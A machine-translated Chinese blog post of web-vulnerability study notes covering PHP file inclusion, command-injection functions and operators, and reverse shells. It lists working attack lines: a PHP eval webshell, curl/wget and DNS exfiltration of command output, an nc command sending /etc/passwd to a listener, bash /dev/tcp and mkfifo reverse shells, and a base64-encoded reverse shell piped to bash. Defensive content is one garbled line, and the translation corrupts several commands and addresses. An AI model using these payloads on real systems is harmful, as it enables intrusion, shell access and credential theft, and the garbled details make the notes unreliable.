当前位置:网站首页>Web vulnerability
Web vulnerability
2022-07-25 01:43:00 【KD_ du】
web Vulnerability analysis
The file contains a vulnerability
The local file contains
Common files contain functions
include() Cannot find the containing file , Script continues
require() Cannot find the containing file , Report errors , Stop script running
include_once() If the code in the file has been included, it will not be included again
require_once() If the code in the file has been included, it will not be included again
Local include file
Introduce malicious code <php phpinfo();eval($_post['cmd'];)?>
Include log files getshell
error journal Write Trojan , Connect
Log
Modify environment variables
Grab the bag , modify user-agent:<?php phinfo();?>, Contract awarding
visit /proc/self/environ
phpinfo The file contains temporary files
Write the file to the temporary directory
Using scripts
php Fake protocol
file:// Access local file system ( Absolute path / Relative path read )
http:// visit http Website
ftp:// visit ftp urls
php://input take post The requested data is treated as php Code execution Conditions ( Remote include open )
php:/input post The incoming content is executed as code
php://filter Read source code
php://filter/read=convert.base64-encode/resource='' Read file contents , With base64 Show , Generally, read the configuration file
phar:// Read compressed file
zip://
bzip2://
zlib://
data://text/plain;base64, Ciphertext Open remote include
The remote file contains
The remote file contains
file=http://192.tp://168.45.164/1.php Website + file Both are on
The file contains a truncation attack gpc close
Remote command execution vulnerability
system() With echo
passthu() With echo
exec() Echo the last line , must echo
shell_exec() No echo Must output
popen() No echo
proc_open() No echo
Command execution connector
;
|
||
&
&&
and
or
` echo `whoami`
echo $(whoami) $ Replace backquotes
windows
type C:\windows\win.ini
No echo
Pipeline character writing shell
echo "" |base64 -d >shell.php
dnslog Record
ping `whoami`.6hkgih.dnslog.cn
Use the log to test whether there is echo
curl http://192/.168.3.12/?`whoami`
wget http://192.168.3.12/?`whoami`
Command Execution Vulnerability rebound shell
netcat
nc -lp 9999>pass.txt Remote server listening
nc 192.168.0.124 9999 </etc/passwd
Victim rebound shell
/bin/bash -c 'bash-i>&/dev/tcp/192.168.0.124:80 0>&1'
rm/tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.124 80>/tmp/f
echo 'cm0vdG1wL2Y7bWtmaWZvL3RtcC9mO2NhdCAvdG1wL2Z8L2Jpbi9zaCAtaSAyPiYxfG5jIDE5Mi4xNjguMC4xMjQgODA+L3RtcC9m' |base64 -d |bash
defense
escapesh
## ellarg function safe_mode_exer_dir Executable file path Internal implementation , Do not write external execution ```
边栏推荐
- Listing of China graphite: the market value is nearly HK $1.2 billion, achieving a zero breakthrough in the listing of Hegang private enterprises
- Jsonp solves cross domain plug-ins (JS, TS)
- KVM virtualization jobs
- What does it operation and maintenance management mean? How to establish an effective IT operation and maintenance management system?
- Call camera photo album / upload / scan code in uniapp
- Custom type
- 【Appium】Failed to create session. An unknown server-side error occurred while processing the command
- Nacos hand to hand teaching [i] dynamic configuration of Nacos
- Shell judges whether the file exists and whether the file size is 0
- How to use ES6 async and await (basic)
猜你喜欢

1260. Two dimensional grid migration: simple construction simulation problem

Specificity and five applications of Worthington alcohol dehydrogenase

DotNetCore. Cap notes

The introduction of 23 Filipino doctors for 18million was a hot topic, and the school teacher responded: expedient

Several schemes of traffic exposure in kubernetes cluster

Interpretation of video generation paper of fed shot video to video (neurips 2019)

Top priority of dry goods: common indicators and terms in data analysis!

Document the use of anti shake in packaged components and projects

If in ython__ name__ == ‘__ main__‘: Function and principle of

Prosci 14-3-3 (phosphate ser58) antibody instructions
随机推荐
Human cell prosci 4-1BB ligand recombinant protein scheme
Interview questions
About the difference between for... In and for... Of and object. Keys()
[development tutorial 10] crazy shell · open source Bluetooth smart health watch OTA image production and download technical documents
VC hesitates to invest in Henan
[25. Hash table]
Data management process model of science and technology planning project
Ad active directory and domain network
Point to point copy and paste of web pages
[summer daily question] Luogu p1706 full ranking question
Hbuilderx developed by uni app connects to night God simulator
Target segmentation for 10000 frames of video, less than 1.4GB of video memory, open source code | ECCV 2022
Worthington cytochrome c digestion study carboxypeptidase B scheme
Musk responded whether he would upload his brain to the cloud: already did it!
record
Some of my understanding about anti shake and throttling
How to empty localstorage before closing a page
Green low-carbon Tianyi cloud, a new engine of digital economy!
On let variable promotion
Deamnet|filenotfounderror: [winerror 3] the system cannot find the specified path.: '/ Datasettest\\Set12‘